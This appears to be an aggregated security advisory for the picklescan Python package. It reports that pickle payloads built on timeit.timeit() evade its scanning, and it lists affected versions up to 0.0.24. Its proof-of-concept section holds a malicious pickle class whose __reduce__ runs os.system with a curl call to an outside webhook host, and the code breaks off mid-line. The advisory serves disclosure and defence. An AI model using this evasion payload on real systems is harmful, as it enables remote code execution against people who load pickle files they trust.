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Picklescan missing detection when calling built-in python library function timeit.timeit()

Type: advisorySource: OSV1 source record

### Summary Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file. ### Details Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan. The attack payload executes in the following steps: First, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method Then, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC 1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit() ``` import pickle import timeit class Payload(object): def __reduce__(self): return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")') def create_payload(): with open('payload.pickle', 'wb') as f: pickle.dump(P

Announced Source revision 1
Original source ↗

GHSA-v7x6-rv5q-mhwc

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:GHSA-v7x6-rv5q-mhwc

picklescan

Source reference: /affected/0/package/name

Affected versions
0.0.1

Source reference: /affected/0/versions

0.0.10

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0.0.11

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0.0.12

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0.0.13

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0.0.14

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0.0.15

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0.0.16

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0.0.17

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0.0.18

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0.0.19

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0.0.2

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0.0.20

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0.0.21

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0.0.22

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0.0.23

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0.0.24

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0.0.3

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0.0.4

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0.0.5

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0.0.6

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0.0.7

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0.0.8

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0.0.9

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Fixed versions
0.0.25

Source reference: /affected/0/ranges

Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "ranges": [
      {
        "type": "ECOSYSTEM",
        "events": [
          {
            "introduced": "0"
          },
          {
            "fixed": "0.0.25"
          }
        ]
      }
    ],
    "package": {
      "name": "picklescan",
      "purl": "pkg:pypi/picklescan",
      "ecosystem": "PyPI"
    },
    "versions": [
      "0.0.1",
      "0.0.10",
      "0.0.11",
      "0.0.12",
      "0.0.13",
      "0.0.14",
      "0.0.15",
      "0.0.16",
      "0.0.17",
      "0.0.18",
      "0.0.19",
      "0.0.2",
      "0.0.20",
      "0.0.21",
      "0.0.22",
      "0.0.23",
      "0.0.24",
      "0.0.3",
      "0.0.4",
      "0.0.5",
      "0.0.6",
      "0.0.7",
      "0.0.8",
      "0.0.9"
    ],
    "database_specific": {
      "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-v7x6-rv5q-mhwc/GHSA-v7x6-rv5q-mhwc.json"
    }
  }
]
Related CVEs
CVE-2025-71351

Source reference: /aliases

Publisher severity

No explicit severity was provided.

Event
#62567 · Revision 1
Added to Heist Feed
Publisher date
Read the original announcement